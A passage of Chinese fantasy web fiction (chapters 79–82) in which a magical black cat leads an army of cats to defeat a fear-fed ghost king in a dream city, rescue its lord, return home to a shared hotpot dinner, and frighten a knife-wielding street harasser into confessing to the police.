夏炫藏在人头堆里,心想,这一出整得好像是师父被妖怪抓住了,就是不知道他们的咪大圣,会不会及时赶来。 鬼王哈哈一笑,“何必如此麻烦?” 它伸出大手,在人头堆里翻找,夏炫被那只比房子还大的手掌一扫,便和无数人头一起,骨碌碌往四周翻滚。 等他转一圈停下来,薛静秋的人头已经被鬼王捏在了手中。 两根粗壮的手指轻轻捏住少女的头发,就像人小心捏着蚂蚁的触须。 “待我马上吃了她,就带着你们进入寐城,咱们吃他个翻天覆地!” “吱吱吱吱——” 夏炫眉头一皱,意识到不妙:寐城? 为什么鬼王口中会下意识说出寐城? 眼看它捏起薛静秋,张开巨嘴要将人一口吞下,夏炫张口,学着它大声笑:“哈哈哈——” 鬼王停下动作,目光透过迷雾,刺在了他的身上。 夏炫额头冒出冷汗,威压凝成实质,压得他喘不过气,他知道,鬼王伸出一根手指,就能把自己压成一滩肉饼。 他克制出于本能的恐惧,更响亮地大声笑:“哈哈哈——哈哈哈——” “你笑什么?”鬼王声音阴冷。 “我在想,鬼王这么厉害,为什么要用雾气遮住自己呢?是怕别人看见你的脸吗?” 夏炫戳穿他,“你根本不是鬼王,所以才怕被人看见脸吧,你知道,要是别人看见了你的脸,就没有人再害怕你了,恐惧失去了源头,你的力量也会消失得无影无踪。” “胡说八道!” 一声怒吼,震得山石簌簌掉落,夏炫也被震得双眼发黑,耳道里涌出一股鲜红粘稠的液体。 喉咙里冒出的血染红他的牙齿,他满嘴都是铁锈味,见鬼王勃然大怒,也不怎么怕了,继续笑着说:“其实你也是寐城的人吧,用什么办法,偷偷盗用了鬼王的身份?” “胡说八道胡说八道!”鬼王伸出手,把他抓到了上空,两双通红的眼睛跟车灯一样,照得青年惨白面孔泛起诡异的血色。 夏炫弯起眼睛,继续哈哈大笑,“你在寐城应该地位不高吧,才会整天与耗子为伍,身上这么臭不可闻,多亏城主建造寐城这么一方世外桃源,才养活你这么一个垃圾,要放其他地方,你早就死得不能再死了,你就是这么回报自己的恩人的?” 鬼王勃然大怒,连金燕子也顾不得吃,张开血红大嘴,就要把夏炫一口吞下。 夏炫继续大声笑:“你以为我们在寐城抓不到你?” 鬼王停下动作。 他被挂在鬼王的大嘴旁,每一颗牙齿都有两米高,鬼王有一嘴黑黄的牙齿,腐臭味熏得夏炫意识模糊。 “我的朋友就在城外,马上就要找到你了,你以为自己藏得很好吗?一个与耗子为伴,臭不可当,整天散播鬼王与勾魂使者谣言,让人们害怕的阴暗老鼠人,这一点也不难找!马上你就要被掀到阳光底下,这层雾也遮不住你了。” 鬼王重重哼一声,“闭嘴!闭嘴!” 它松开手指,夏炫便直直朝着它的血盆大口坠去,在下落时,他依旧大声喊:“没有人会怕你的!你连自己的脸都不敢露出来,没有人会怕你这个小丑、懦夫!” 黑烂的牙齿离他越来越近,他两只眼睛生疼,被臭气熏得流下行生理性的泪水。 他闭上眼睛,感觉自己的头栽进了柔软而奶香的云朵里。 云朵? 一个肉垫扇了他一巴掌,打得他偏过头,幸福地说:“咪咪再打一下。” “喵!” 咦? 夏炫将眼睛睁开条小缝,自己没有在鬼王腐臭不堪的嘴里,被咬成肉泥,而是在一朵五彩祥云上。 小黑猫歪着头,好奇地看着他。 “喵呜!” 人,你怎么只剩一个头啦? 夏炫嘿嘿傻笑,求小猫的赏赐,“咪咪,再扇我个巴掌呗,我的左脸还没被你扇。” 小咪扭过脸。 人,只剩一个脑袋,怎么还这样变态? 它认真地看着雾气里的鬼王,表情凝重。 鬼王沉默半晌,不由哈哈大笑,“我还以为你的救兵是什么呢?原来是这么一个小玩意。” “喵啊——” 小咪朝它大叫。 “喵呜喵呜喵呜——” 四周响起无数附和的喵呜声,小咪抖了抖自己蓬松的毛,猫毛如雪纷纷扬扬洒落,一落到云中,就变成一只狸大人,跟着小咪一起叫。 第80章 “一只咪两只咪三只咪……” 夏炫在云里数数, 狸大人就跟小咪身上的毛一样,抖一下就冒出来一大片,在云里打滚舔毛, 各有各的美妙。 “好多咪!” 夏炫数不过来,跳到离自己最近的大咪肚皮上,翻来覆去打滚。 “狸大人, 我好想变成你身上一只跳蚤~我好想变成你身上一只跳蚤~” 太糟糕了,这么危险的生死时刻,他居然想变成大咪身上的一只跳蚤。 “喵呜。” 狸大人发出嫌弃的叫声,抖了抖肚皮,把他甩了下去。 “喵呜喵呜喵呜~” 千狸万猫跟着小咪一起叫。 斗大的汗珠从鬼王脸上滚落,那些浓雾里的鬼影被猫吓得吱吱乱叫,哪还有勾魂使者的狰狞恐怖?一个个抱头鼠窜,就好像耗子洞里来了群猫,恨不得马上逃出骷髅洞。 “不许跑!”鬼王怒喝,“不过是只刚来寐城的野猫, 别忘了你们现在的本事!你们是本王座下的勾魂使者, 拥有勾魂摄魄的神通, 还怕几只猫不成?” “吱吱吱——” 夏炫哈哈大笑,“只怕是耗子见了猫,吓破了胆!” 他忍不住高声道:“玄猫奋起喵喵爪, 玉宇澄清万里埃。今日欢呼咪大圣, 只缘妖雾又重来!” “喵呜喵呜~” 一片猫叫声里, 一只只大猫小猫跳到雾气里, 同勾魂使者撕打在一起,把它们咬得吱吱乱叫。 鬼王伸出大手,抓住一把的狸大人,伸手一抓,猫儿们喵喵叫着,被它捏成了一根根猫毛,在空中飘来飘去。 它一声怒吼,化作道青色的罡风,飞出骷髅洞。 “咦?它这么容易就跑啦。”夏炫蹦到了小咪的面前,“咪咪真厉害!” “喵呜。”小咪歪头蹭蹭他的脸颊,喵喵叫几声,好几只黑猫叼着他的四肢身体飞回来。夏炫试着把自己重新组装了起来,肢体断裂处像水一样融合在一起,他揉了揉小咪的脑袋,挨个搓搓狸大人,从云上纵身一跳,跳在堆垒成山的白骨上。 他拨开面前一个又一个人头,努力在骨堆里寻找,“静秋?静秋?” “喵呜喵呜。” 一只只猫在白骨里翻动,帮他一起寻找,找寻半晌,只有一声声气馁的猫叫。 难道鬼王跑的时候,把静秋一起带走了? “我看见了,”黄五大声说:“它把金燕子带走了。” 夏炫身形微震,反驳:“你别胡说!” “我们聚义帮从不说谎。” “我也看见了,我也看见了!”地上的人头一个个睁开眼睛开口说话。 “喵!”小咪飞到了青年的旁边,朝着他叫。 愣着干什么呢?和猫一起追上鬼王。 夏炫纵身一跳,身体轻盈地跃起,跳到了小咪踩着的筋斗云上。云层柔软,像棉花糖,他把小咪抱在膝盖上,深吸一口,猫身上热烘烘的焦糖味布满鼻腔,他弯起嘴角,“我们一定可以把静秋带回家的,是吧?” “喵!”小咪认真回答。 一定可以! 腾云从骷髅大张的嘴里出来,小咪从人的身上站起,认真地看向前方。 鬼王庞硕的身躯就悬在了不夜城的上方,短短时间里,它的身形凭空又拔高了一倍,几乎与百米的城墙齐高。月光穿不透青黑的瘴雾,鬼王悬在雾里,身影模糊,像个不可战胜的噩梦。 小咪表情严肃,歪了歪头。 “喵呜?” “这是在虚张声势吗?不对,”夏炫很快反应过来,“它在吸收整座不夜城的噩梦。” “金燕子已死!”鬼王高高举起手,巨手透过雾气,一颗娇小头颅像弹珠一样,被他捏在其中。 就像所有的主角一样,月光穿过瘴气,照在了她的脸上。 那张脸安静而温和,灰色的无神双眸注视着不夜城。 “糟了。”夏炫喃喃。 鬼王猛地松开手,人头笔直坠入它的嘴里,它大笑着,雾气涌动,地动山摇。 “金燕子已死!如今不夜城里,我来称王!” 每家每户门缝中都涌出了一缕青黑雾气,雾气凝聚交织,飘向了鬼王,转瞬之间,它的身体暴涨了几倍,遮天蔽日,挡住了月光。 整座城池,都笼罩在了它的阴影中。 ———— 薛露白停下脚步。 孙菱回头看她,“怎么了?” 薛露白皱着眉,“有些不安。” 孙菱心头跟着一跳,好像被一只手重重扯了把,心脏急促地跳动,烦躁地舔了舔干燥的嘴角。 她扫了眼周围,街道上的人们面色苍白,惶惶不可终日,有的人甚至不由自主地惨叫发抖。 他们在害怕? 害怕什么呢? “不好,不夜城有变。”她来到寐城不过两天,受到的影响并不大,但这些原住民们就不一样了。他们害怕得发抖,嘴里喊住“鬼王降临”,四下奔逃,繁华城池人仰马翻,鸡飞狗跳,凌乱不堪。 “少城主,你还好吧?” 薛露白脸色苍白如纸,“他们想要逃出寐城。”说不上缘由的恐惧撕扯着她的心,她在寐城长大,受到的影响同样很大,此刻在凭着理智,抵御心里想要逃跑的本能,“我们得抓紧速度,不能让他们跑出去,打开城门。” 在城门外,可有无数的行尸走肉在游荡。 可城中数万居民,又这么慌乱,很难找到藏匿在人群里的始作俑者。 孙菱想了想,“去黄官庙。” 狗儿庙前,狸奴们依旧是头靠着头,紧贴在一起呼呼大睡。猫儿们才不管什么天翻地覆,依旧睡成一滩滩猫饼,在明媚的阳光下舒展身体。 夏炫坐在树下,头低垂着,大腿上压着一只肥美的橘猫。 “喵呜。”看见孙菱,橘猫翘起尾巴朝她走过去,喵喵地叫。 孙菱知道,它是在向自己讨要酬劳,不禁心虚:“呃……还没来得及去买烧鸡。” 橘猫骂骂咧咧地喵呜几句,她能听出来,这猫骂得很脏。 “之后再给你,给你两只,少城主在这儿作证。”孙菱认真朝着猫儿说:“现在有了大麻烦,你们能帮我找个人吗?” ———— 随着鬼王一声大喝,当着众人的面吃下代表主角的金燕子,不夜城的故事似乎早已经迎来了结局。 乌云蔽月,不见青天。 人们的恐惧不断滋养着鬼王,让它的身躯越来越大,投下的阴影遮住了半座城。 夏炫面色灰败地瘫坐在云朵里,眼睁睁看着薛静秋的头颅被鬼王一口吞下。 金燕子死了? 薛静秋就这样死了? “老师还在等你回家!”他大声朝着瘴雾喊。 但金燕子的传奇没有再继续,回答他的,只有鬼王沉闷的笑声。 “她被我吃掉了,金燕子已死,金燕子已死!” 鬼王伸手一挥,一片屋舍倒塌,人们惊慌失措地跑出废墟,惶然奔逃。 “喵呜喵呜~” 狸大人们大声叫着,跳了起来,比屋舍还大的xl咪在最底下,小一些的咪叠在上面,自觉地堆积木一样把自己堆成一座xxxxxl大咪。小咪跳到了猫山的最顶上,在这个高度,底下的屋舍变得很小,它仰起头,与乌云中的鬼王对视。 鬼王面前有一层浓浓的黑雾,小咪只能看见它一双车灯般血红的眼睛,暗沉沉地洒出红光。 “喵呜~”小咪指挥。 身下的几十米高的大猫纵身一跳,轻松跳到了百米城墙上,后爪在城墙蹬一脚,借力继续往上跃,蹿起百米高,抬起前爪,锋利的指甲撕开了瘴雾,朝着鬼王抓去。 “嗷呜。” 它恶狠狠地骂着。 一击未成,它被鬼王抬起的手臂重重推开,蹬着城墙,重新纵身跃入云中,这次是对准了那双通红的眼睛。 夏炫心急如焚,就算所有狸大人组成的xxxxl号大咪已经很大,可比起遮天蔽月的鬼王,又显得很娇小。大黑猫的身影在云海中偶尔闪过,他睁大眼睛,才能看清快若闪电的黑影,但黑影头顶的那只小小的黑猫,怎么也看不见了。 这样下去不行。 狸大人数量有限,鬼王却被在人们的噩梦中,不断地变大。 它当着所有人的面吃掉金燕子,就是明摆摆告诉众人,降妖伏魔的主角已死,让人们感觉绝望,害怕着它。 怎么才能让人们不怕它呢? 夏炫朝着人们大声喊:“它不是鬼王,它只是个不敢露面的懦夫,你们别跑了,停下来看看他的脸!” 可城破家亡,天崩地裂,人人自危,谁还会听他的话? 夏炫急忙追上一个人,掰住他的肩膀,“你醒一醒,不要害怕,你看天上,它只是个不敢露面的小丑!” 那人顺着他的目光往天上一看,只瞥了眼遮天蔽日的乌云,就吓得浑身瘫软,一个劲跪地求饶,“鬼王饶命,鬼王饶命!” 夏炫逆着人流,大声告诉人们真相,直到身体被一根勾魂索绊倒,再回过神时,他已经被大黑耗子扑倒在了地上。 耗子在啃噬着身体,他仰起头,视线里只有一片灰蒙蒙的乌云,和环绕城池的高墙。 高墙? 夏炫不顾身上撕咬的耗子,扭过脸往旁看,紧盯着漆黑、坚韧、平滑如镜、将寐城紧紧环抱在怀中的城墙。 他想起来了,薛静秋的影子名字叫坚城。 那不是城墙,是薛静秋的影子! “金燕子没死!金燕子没死!” 他激动地大声喊。 小咪耳朵一抖,在空中听见了这句话,歪了歪头,它身下的大猫也歪了歪头,金色的瞳孔越过雾气,看向了鬼王的肚子。 “喵呜~” 小咪叫。 “喵!”身下的大猫舔了舔鼻子,压低了身体,眼神变得锐利。 猫是天生的猎手,迅速、敏捷,一击致命,这是猫天生就会做的事。 狸大人将身体伏低,后腿蓄力,在城墙一蹬,身体跃上百米高空,前爪撕裂瘴雾,指甲勾住鬼王的肚皮,重重往下一划! “哎哟——” 伴随一声惨叫,裂开的肚皮上,有个人影像燕子一样飞了出来。 “喵呜!” 金燕子落在了狸大人的头顶,俯下身体,摸了摸小猫的头,“谢谢你,咪咪。” “喵呜!” 小咪跳到她的怀里,用力蹭蹭她的下巴。 “你、你、你怎么还没死?”鬼王愕然地看着她,声音颤抖。 少女扬眉,指着地上,“你看——” 地上不只有逃跑的、求饶的,也有许多人聚在一起,呼唤金燕子归来。 “金燕子是不会死的,她活在人们的心里,所以,”她眨了下眼睛,表情狡黠,“现在是金燕子的主场啦。” 少女伸手捏诀,像话本里降妖伏魔的主角一样,抬起手,喊:“风来。” 忽有大风激荡,呼啸而过,吹散漫天的阴云。 也扯掉了鬼王面上的遮羞布。 它仓皇地用两只手遮住脸,却捂不住满头的癞疮。金燕子还是认出它来了,“咦,你不是郑老三?” “郑老三?”地上的人们抬起脸,“他不是个成天与耗子为伍,形容猥琐之徒吗?” “这样的人岂会是鬼王?” “错了!错了!” 恐惧顿时消弭得无影无踪。 鬼王的身体不断缩小,它捂住自己的脸,仓皇逃走,想飘回骷髅洞里。 然而,狸大人提前一步,挡在洞口,大屁股往地上一坐,把洞口遮得严严实实。 “哎哟——” 鬼王惨叫一声,身影如泡沫消失。 在现实里。 孙菱嫌弃地看着满头癞疮,“应该就是他了,我们……呃。” 还没说完,薛露白拔出腰侧七星剑,长剑一挥,割掉了郑老三的头颅。 …… “鬼王死了?”夏炫跑到薛静秋身边,“看来是阿菱她们在现实里找到了他,静秋,”他打量着好友一圈,看见她身上没受伤后,长舒一口气,“终于找到你了。” “阿炫,”薛静秋凝视青年,“你不能再待在不夜城了。” 夏炫往身后一摸,后面的自己已经长到了腰部,再过不了多久,就能成了形。他点点头,“反正我是来找你的,找到了就不用留在这里,我们一起回家吧。” 薛静秋嘴角微微翘起,眼里有水光一掠而过,“阿炫,我……” “喵喵喵!”小咪朝着他们叫。 狸大人尾巴一卷,把薛静秋卷起来,丢在了自己毛茸茸的后背,纵身穿越不夜城,腾云奔往城主府。 薛静秋落在地上,看着四周景象,“这是……” “喵喵喵。” 是红星公园。 小咪蹭蹭她的腿,往前跑了几步,回头看她。薛静秋意识到,小猫在给自己带路,于是跟着小猫的脚步,她来到了棋盘前。 看见未下完的棋子,她弯了弯嘴角,小时候,薛芦花在这里教她下围棋,教会她的第一个词,就是落子无悔。 “啪。” 棋盘上的黑子忽然落下,坚定而清脆,她微微睁大眼睛,喃喃:“妈妈?” “秋秋!” 听见薛静秋的声音,薛芦花猛地站起来,四处张望,红心公园白雾迷蒙,没有人影。 “妈妈!”薛静秋同样听见她的声音,“我在寐城。” 薛芦花张了张嘴,慢慢坐回石凳,低声说:“我在红竹市的公园里,秋秋,你还好吗?” “我过得很好,遇到了很多人,保护了很多人,只是很遗憾,没有能回到爸爸妈妈身边尽孝。” 水珠啪嗒滴在棋盘上,薛芦花深深凝望棋盘上的湿痕,将手放在那儿,接住了千年前滴落的滚热泪珠,“没关系的,秋秋,你只管远行,我们一切都好。” “妈妈,我不后悔度过这波澜壮阔的一生,请不要难过……我爱你们。” 薛芦花释怀地笑了,“秋秋,你永远是我们的骄傲。” 80-90 第81章 狸大人将要离开寐城,城里百姓依依不舍。城主顺着大家的意思,举办一场隆重的宴会,欢送狸大人。 小咪坐在城主桌案旁,在鲜鱼烧鸡里挑挑拣拣。猫的胃口很小,它只选了几口最爱吃的食物,就跳到薛静秋的膝盖上,侧着身体,抬起前爪,认认真真书洗脸梳毛。 桌上不止坐着它一只小猫。 城里的猫儿帮助他们在关键时候找到了鬼王化身,功劳赫赫,也摇身一变,当了城主的座上宾。 毛茸茸的猫儿们跳到了桌上,吧唧吧唧吃肉吃鱼,一个个吃得肚子圆滚滚的。两侧小侍女给它们倒满碗里的牛乳鱼汤, 或者拿出篾子,给猫儿们梳理毛发。 “喵呜喵呜。”猫儿们舒服地眯起眼睛, 理所当然地享受人类的服侍。 小咪用力拱薛静秋的头,喵喵叫着。 人, 猫头痒,你摸摸猫。 薛静秋微笑着抬起手,曲起手指,指尖从小咪柔软的后脑勺往下滑,像抚摸顺滑温热的绸缎,一路毫无阻碍地滑到了小猫像扫帚一样散开的尾巴。 “咪呜。”小咪仰起脑袋, 眼睛眯成条缝,喉咙发出呼噜呼噜的声响,呼噜声震得桌子上的酒液在微微晃动, 晃起的涟漪搅碎了一头的白发。 夏炫偏头,看着薛静秋头上的灰白头发,仍觉刺目。他以为找到薛静秋,就能带她回家,没想到事与愿违,薛静秋活着,却已经在暗世界度过了几十载春秋。 “阿炫,”薛静秋举起酒杯,微微笑着,眼神慈霭,“谢谢你来找我。” 夏炫不敢对上她的眼睛,低着头,“唔”了声。 “我想和你去走一走。” 薛静秋抱起小猫,夏炫蔫蔫地跟在她身后。两人一齐走出酒宴,来到了高楼。 面前是漆黑如镜的城墙,在薛静秋靠近时,城墙突然裂开,伸出条长长的阶梯。她踏上台阶,临风而立,衣袍飘飞。 夏炫跟从她,走上城墙最高处,抬眸看薛静秋的背影。 这是位坚毅可靠强大的城主,但离他记忆里,沉静腼腆的女孩,已经很远了。 “血月降临,恶鬼复苏,十室九空,是我们这个时代正在经历的事情。”薛静秋看向天空,“我把寐城用影子围起,借助戌狗的力量,才让这儿避免遭到血月侵蚀,但也只能护住这一座城。” “喵喵喵——”小咪插嘴。 那也已经很厉害了! 猫的领地只有一条胡桃街,猫就觉得自己是世界上最厉害的猫了。 两个人都听懂小咪喵喵叫的意思,不禁会心一笑。 夏炫说:“你的影子居然能变成一座这么巍峨的城墙,已经很……我记得以前,你的影子是面小盾牌吧。” “我们的影子力量来自于血月,血月降临时,影子也会变得更强。” “喵呜?”小咪跳到城墙上,用肉垫拍着名叫坚城的影子。 薛静秋看着跑来跑去的小猫,露出微笑,“在这个时代,有的人甚至舍弃了自己的肉身,以影子的方式在人间行走。” 夏炫皱眉,“这也行?” 薛静秋点头,“他们已经不算是人了,在鬼域里,通常是扮演鬼的那一方。” 小咪抬起头,想到了无头美人图里的王邵远。 “深渊拥有了这种方法……”夏炫心沉了下来,如果以后每次进入鬼域,不仅有鬼怪,还有扮演恶鬼npc,站在他们对立面的人,鬼域难度会大幅度增加。 “阿炫,还有一件很重要的事。” 薛静秋转身,认真看着他,“血月降临并不是偶然,有人窃取血月的一部分,它被自己的碎片吸引,本能地靠近现实世界,当红月光在现实升起,就会发生所谓的灾厄。我来到这个世界的时候,血月已经降临,只能亲眼看着无数人死去,在我们那个年代,人口更加密集,发生灾厄,死伤一定会更惨重。” 夏炫意识到问题的严重性,神情肃然,“我们会尽力阻止。” 薛静秋叹了口气,“我的影子不知道还能撑多久,本来想做更多的事,可惜年寿有尽时。” 话没说完,她的裙摆被小猫咬了一下。 小咪低下头,拍了拍地上的长生果,“喵呜。” 人,猫送给你的礼物。 薛静秋弯了弯嘴角,把小猫抱了起来,还给夏炫。 “带着咪咪回家吧,在这里滞留太久,你们就会像我一样,成为这个时代的一部分。” 她指向前方,一扇门悄无声息地出现在城墙上。 “静秋,”夏炫攥了攥掌心,“你有什么话,想让我带给老师吗?” 薛静秋微怔,想了半晌,轻轻摇头,笑着说:“多亏小咪,该说的,我们已经说完了。” ———— 小咪翘起尾巴跑入胡桃街。 一踏入自己的领地,它就被好几只猫围了起来。 “喵呜喵呜——” 橘咪扯着嗓子嚎。老大老大,你去了哪里?我们好想你。 小咪挨个和流浪猫们互嗅鼻子,蹭蹭脑袋,让对方沾染上自己的气味。胡桃街一切如昨,没怎么变化,它的小弟和以前一样圆润,比寐城的猫要圆一圈。 “喵呜喵呜——” 白狸仔细嗅着小咪的身体,瞪大了眼睛:老大身上有别猫的味道!老大身上有别猫的味道! 橘狸跟着大声囔囔:老大有了别猫!老大有了别猫! 小咪抬起前爪,敲了两下它们的脑袋,两只猫的眼神顿时变得清澈,不再囔囔,紧挨着它走路,尾巴高高翘起。 三只猫神气地翘起尾巴,紧挨在一起,步伐同步地往前走。 这一幕引来不少人停下脚步,偷偷拿起手机拍。 不过小咪没让他们拍多久,被两只热烘烘的猫往里面挤,挤得猫窝火。不在胡桃街的时候,它有些想自己的手下,一回到这里,它又觉得两只无蛋大公猫很欠揍。 小咪有气当场就出,“哈!” 两只公公吓得飞机耳,在地上打了个滚,朝它露出肚皮,谄媚地对着它叫。 小咪想了想,用嘴咬住一根耗子尾巴,拖住只寐城带来的耗子,丢到两只猫面前。 “喵!” 猫给你们带回来的猎物。 两只肥猫兴奋地放大瞳孔,喵呜喵呜追着耗子跑远。 夏炫弯下腰摸摸小咪的头,“啊?你什么时候藏了只大耗子?” “喵呜!” 猫有自己的办法。 小咪纵身一跳,轻松跳到了小吃摊撑起的棚顶上,朝着两个人喵喵叫。 夏炫往上看,老师家的窗为小猫留了一条缝。 “喵喵喵。” 来呀,来猫家里吃饭。 “我就不去了,”孙菱写了个卡号,“你们是官方,我相信不会赖账的,直接打钱就行。” 她朝小咪挥挥手,转身汇入人潮。 小咪歪头,不解地看着她离开,用粗糙棚布磨磨爪子,朝着夏炫叫:“喵啊!” 快点和猫回家。 夏炫仰头,有些踌躇,“我就不……” “福娃?”张云帆从窗后探出头,“哎呀,终于回家啦,小夏,你也来啦,吃饭了没有?” 小咪几步跳上窗台,跃入爷爷身上,被爷爷抱个满怀。 “喵呜。”小咪用力蹭着爷爷的脸颊。 张云帆像抱娃娃一样抱着小咪,在房间转了个圈,“薛老师,来看,我们福娃拯救世界回家啦。” 薛芦花捏了捏小咪脸上的肉,又摸摸它的肚子,“瘦了点。” “看来是拯救世界的超级英猫太累了,得好好给小咪补补。我去买点菜吧。”张云帆把小咪放下来,“顺便也把小赵他们喊过来一起吃个饭。” 这是个周末,赵佳怡不用上班,一收到消息,她就冲了过来,脚上人字拖在地上嗒嗒响。 “咪咪!我的咪,”她一把抱起小咪,把脸埋在咪的肚皮上,狠狠吸猫,“让妈妈吸一口,嘿嘿,小猫咪还是香香的,嘿嘿嘿嘿~” 小咪舔了舔鼻子,瘫在她的膝盖上,麻木地让人吸。 看着赵佳怡吸猫逐渐狂野,甚至想亲小猫的嘴巴,夏炫忍不住提醒,“咪咪刚咬了一只大耗子。” “啊!!!” 赵佳怡瞬间把猫丢了出去。 小咪在空中转了个身,轻盈落地,跳到旁边沙发上,舔着自己的爪子。对上赵佳怡控诉的眼神,它理直气壮地“喵”了声。 人,是你主动要吸猫的,猫又没有强迫你! 没多久,张云帆就买了一大袋食材回家,小谢医生也下班了,来到这里帮忙做饭。 小咪窝在被自己睡出凹陷的沙发上,在熟悉的环境里,闻着食物的香气,人干燥温暖的手掌轻轻揉着猫的脑袋,它渐渐闭上眼睛,沉入一场没有危险的香甜梦境。 猫是被蒸鸡肉的味道香醒的。 小咪舔了舔鼻子,伸了个长长的懒腰,从沙发跳下,翘起尾巴坐在奶奶脚边,期待地看着她,“喵呜~” 猫歪头蹭奶奶的腿,在她□□走八字,像柔软的麻花走来走去,焦急地喵喵叫。 “别急别急,”薛芦花说:“给你做了个千层蛋糕呢。” 蛋糕最底层是一层猫罐头,上面洒了层碎鸡胸肉,再上面一层是虾仁碎、冻干、牛肉、鱼肉糜、猫条,最后再洒了点猫薄荷。 薛芦花刚把千层蛋糕端到桌上,小咪就低下头,嗷嗷干饭,一口气把豪华蛋糕吃完,肚子也吃得圆溜溜的。 大家看着小猫吃完饭,也开始吃自己的饭。 小谢医生端出个大火锅,火锅滚烫沸腾,冒着热腾腾的白汽。大火锅旁,摆满了一桌现切的食材。 小咪跳到了一旁沙发,边给自己舔毛,边注视着聚在一起吃饭的人们。 鱼片肉卷在牛油汤底浮浮沉沉,人们捞着火锅,笑说起最近趣事,偶尔回头看一眼小咪。 他们都没有发现,小猫一直坐在沙发上,安静地凝望他们,隔几秒,就会轻轻眨一下眼睛。 第82章 天空雾蒙蒙的。 小咪高兴地在前面跑, 跑几步停下来,歪了歪头,“喵?” 人, 是不是走错路了? 赵佳怡在岔路口朝着它笑:“我们搬家啦,来,我带你去新家。” 小咪跳到了她的怀里,又蹿到小谢医生的脑袋上,扒拉着他的头。 “咪博士,你别把我薅秃啦。” “喵!”小咪一屁股坐在他的头顶。 赵佳怡往前快走几步,转过身,倒着走路,笑看着小猫,“咪咪走好几天,娘娘恐怕又不认识它了。” “咪呜。” 小咪甩了甩尾巴。才不会, 三花大美喵还托梦给咪,担心咪是不是死在外面了。 它好关心咪, 它心里有咪。 “现在有两间房, 大不了让它们隔离一下。” 赵佳怡听小谢医生的话, 点了点头。新租的房子也在胡桃街上,房东是薛芦花老夫妻。 他们两个年轻的时候就颇有投资眼光,投资了好几套房产,光靠收房租就能过上幸福生活。在听到赵佳怡苦恼新租房问题时,张云帆一拍脑袋,想起这附近还有套闲置的二居室,就送给赵佳怡住。 赵佳怡想按市场价给房租,可老两口不肯收,来回拉扯几次, 给她打了个三折。 大家都是咪咪的铲屎官,建立在猫猫身上的感情格外笃实。 “先隔离两天,唉,只能算是单方面隔离吧,门也拦不住咪咪,咪咪也不知道在家待多久。”赵佳怡苦恼地叹口气,幽怨地看向小黑猫,“说不定它明天就去别人家了。” 小咪心虚地扭过脸,舔了舔自己的爪爪。 赵佳怡收回目光,余光瞥见什么,吓了一跳,短促叫了声。 “怎么了?” 小咪跳到地上,喉咙低呜,瞳孔放大,紧盯着前方 在街尽头,有个男人尾随他们,朝赵佳怡咧起嘴角,脱掉裤子。 “变态!” 小谢医生冲过去要揍他,猫也化作一道黑影,快要蹿到变态面前时,天突然亮了。 明亮刺目的光线充斥满街道,将昏暗的小道照得明如白昼,纤尘可见。 小咪回头看,瞳孔被强光照得竖成一条线,金灿灿的眼睛盯着赵佳怡的手。 “喵?” 人的手上拿着一个太阳? 赵佳怡举起强光手电,像正义的裁判,怼在变态的脸上。 在阴暗角落脱裤子耍流氓的变态,突然赤裸裸被强光照耀。他惨叫一声,捂着腿,一瘸一拐地跑了。 “哈哈哈,”赵佳怡提着手电在后面撵,边撵边骂,“小不点儿,也好意思脱裤子!” 撵了几步,她才停下脚步,捂住砰砰跳的胸口,一回头,对上了两双炽热的眼睛。 小猫和小谢医生眼睛圆圆,呆滞地看着她。 赵佳怡把手电塞进随身带的提包里,赧然地抿了下嘴角,“最近治安不太好嘛,出了好几起恶性案件,我早就听说嘉木新村这块流窜几个变态,就在买了个强光手电以防万一。” 唉,她的淑女形象毁于一旦了…… 小谢医生惊讶地看她片刻,镜片下眼睛闪闪发亮,弯起嘴角,“你也太帅了,简直、简直像个女神!” “哎?” “喵喵喵!”小咪围着她跑来跑去。 人,太棒了!人,终于可以保护好自己了! 小咪兴奋地嗒嗒往前跑,每跑一段距离,就停下来,竖起耳朵机警听四面八方的动静,尽职尽责将人送到了家。 到了门口,它坐在地上,歪头看着人,却没有进去。 “咪咪,不进来看看我们的新家吗?” 小三花走到门口,从赵佳怡的腿后伸出脑袋,看了咪一眼,仔细嗅嗅空气里的味道,确认它没有死后,甩了甩尾巴,跑跑了墙根在猫抓板上磨爪子,一个好脸也不给小咪看。 小咪:“喵!” 猫已经认识家的路了。 它歪头在门框蹭蹭,标记自己的气味,扭头就跑开。 赵佳怡在后面目送小猫跑远,惆怅地说:“孩子大了,性子野了,连家门都不肯进。” 她家小猫是什么治水的大禹吗?忙得过家门而不入。 小谢跟着叹气,“算了,孩子大了,总是要离开家的。何况咪博士已经是博士了,这样的智商,把它关在家里太委屈它了。” 孩子该去上大学啊! ———— 小咪重新回到了昏暗的街道上。 猫翘起尾巴,走了几步,往上一跳,跳在少女肩膀。 少女睁着与猫同款圆溜溜的眼睛,黑发泼墨般洒落,头上戴顶小帽子。她和小咪一起歪歪头,在昏暗的街上徘徊。 没有过多久,小咪耳朵微动,转过脸。 黑暗中走出一道人影。 是之前被赵佳怡用强光手电照的男人。他看见少女走向了一条更幽暗狭窄的小巷,改变主意,悄无声息地跟了上去。 小咪操纵着影子在熟悉的街道里绕弯。 少女步伐轻盈,背影纤细,似乎丝毫没有察觉后面有男人跟随,依旧心大地在幽暗小巷转圈。 周围多了很多只野猫,眼睛在黑暗里放着绿光,悄无声息地注视他们。 但男人不在意这点,抬脚踹走一只野猫。 “喵!”猫凄厉地叫了起来,这一声也惊动了前面的女孩,她停下了脚步,被一股巨力压在了墙壁上,锋锐冰凉的匕首抵着她的腰窝。 “你最好别出声!”男人压低声音喊,“不然就捅死你!” “喵呜——”旁边的野猫此起彼伏叫了起来。 女孩听话,一声都没有吭,可他还是感觉有丝不对劲,手掌下的肌肤冰凉滑腻,没有人类肌肤的质感,就像握住了团冰冷的橡皮泥。 他心中愕然,想把她的手甩开,可她的肌肤极有黏性,死死沾住了他的手,连手里的水果刀,也被吸了进去。 “喵呜喵呜——” 野猫们一只只跳过来,在他身上蹦迪,锋利的指甲把他划得鲜血淋漓。 男人大声哀嚎求饶,这时,女孩慢慢扭过了脸。她的身体没有动,脖子扭成麻花,脑袋转了个一百八十度,那张精致的小脸突然长满了毛发,变成张猫脸,冷冷看着他。 他惨叫一声,晕了过去。 “喵呜?”小咪跳到他身上,用前爪拍拍他的脸,确认他已经彻底昏迷了。 它歪头想了想,朝着街道大声喵喵叫。 没过多久,一辆大巴从混凝土建筑里钻了出来,停在小咪的身边。 小咪把变态丢上去,选个干燥座位坐好,对着花花老师叫。 猫要报警! 它把变态丢到治安局,最开始治安局的人还把男人当成受伤群众,但男人被吓破了胆,醒来后,一五一十把自己的罪行坦白。 